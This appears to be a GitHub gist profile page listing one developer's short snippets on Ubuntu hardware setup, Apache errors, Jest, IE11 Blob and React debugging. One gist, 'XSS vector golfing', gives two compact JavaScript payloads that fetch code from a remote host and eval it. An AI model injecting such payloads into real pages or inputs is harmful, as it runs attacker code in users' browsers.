Skip to content

Instantly share code, notes, and snippets.


Alexander Prinzhorn Prinzhorn

View GitHub Profile
Prinzhorn /
Created Apr 24, 2018
Intel NUC skull canyon Ubuntu audio input microphone headset recording
Prinzhorn / levenshtein-3-beer.txt
Created Jan 13, 2018
Words with a distance of <= 3 to "beer"
View levenshtein-3-beer.txt
peng 3
bebop 3
gar 3
newt 3
ref 3
yeven 3
bats 3
boles 3
kea 3
urger 3
Prinzhorn / xss-golf.js
Last active Jul 26, 2017
XSS vector golfing
View xss-golf.js
function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);"GET", "//*");a.send();
with(new XMLHttpRequest){onload=a=>eval(responseText);open("GET", "//*");send()}
Prinzhorn / output
Created Jul 13, 2017
Apache 2 in a folder from command line
View output
(13)Permission denied: AH00072: make_sock: could not bind to address [::]:80
(13)Permission denied: AH00072: make_sock: could not bind to address
no listening sockets available, shutting down
AH00015: Unable to open logs
View index.html
<!DOCTYPE html>
<meta charset="utf-8">
<svg width="500" height="500">
<clipPath id="clippy1"></clipPath>
<clipPath id="clippy2"></clipPath>
<clipPath id="clippy3"></clipPath>
Prinzhorn /
Last active Apr 4, 2019
Ubuntu scanner Samsung SCX-3405

Find printer IP

lpinfo  -v

Replace the USB entry with TCP

nano /etc/sane.d/xerox_mfp.conf
Prinzhorn / 1-before.json
Last active May 10, 2016
Transloadit extend step
View 1-before.json
"steps": {
"thumbnails": {
"robot": "/video/thumbs",
"ffmpeg_stack": "v2.2.3",
"use": ":original",
"format": "jpg"
"thumbnails_1080": {
"robot": "/image/resize",
Prinzhorn / output.txt
Last active Mar 29, 2016
Jest + jasmine silently ignores
View output.txt
$: npm test
> tmp@1.0.0 test /tmp
> jest
Using Jest CLI v0.9.2, jasmine2
PASS __tests__/test.js (0.037s)
1 test passed (1 total in 1 test suite, run time 0.795s)
Prinzhorn / index.js
Last active Jan 1, 2020
Internet Explorer 11 Blob from DataView throws InvalidStateError
View index.js
var buffer = new ArrayBuffer(8);
var left = new DataView(buffer, 0, 4);
try {
//Throws InvalidStateError in IE 11.
//It does work if we use a specific view like Uint8Array and not the generic DataView contructor.
new Blob([left]);
} catch(ex) {
Prinzhorn / index.js
Created Sep 18, 2015
Quick and dirty way to debug which prop/state changes caused react update
View index.js
componentDidUpdate: function(prevProps, prevState) {
var differentProps = {};
var differentState = {};
var k;
for(k in prevProps) {
if(prevProps[k] !== this.props[k]) {
differentProps[k] = [prevProps[k], this.props[k]];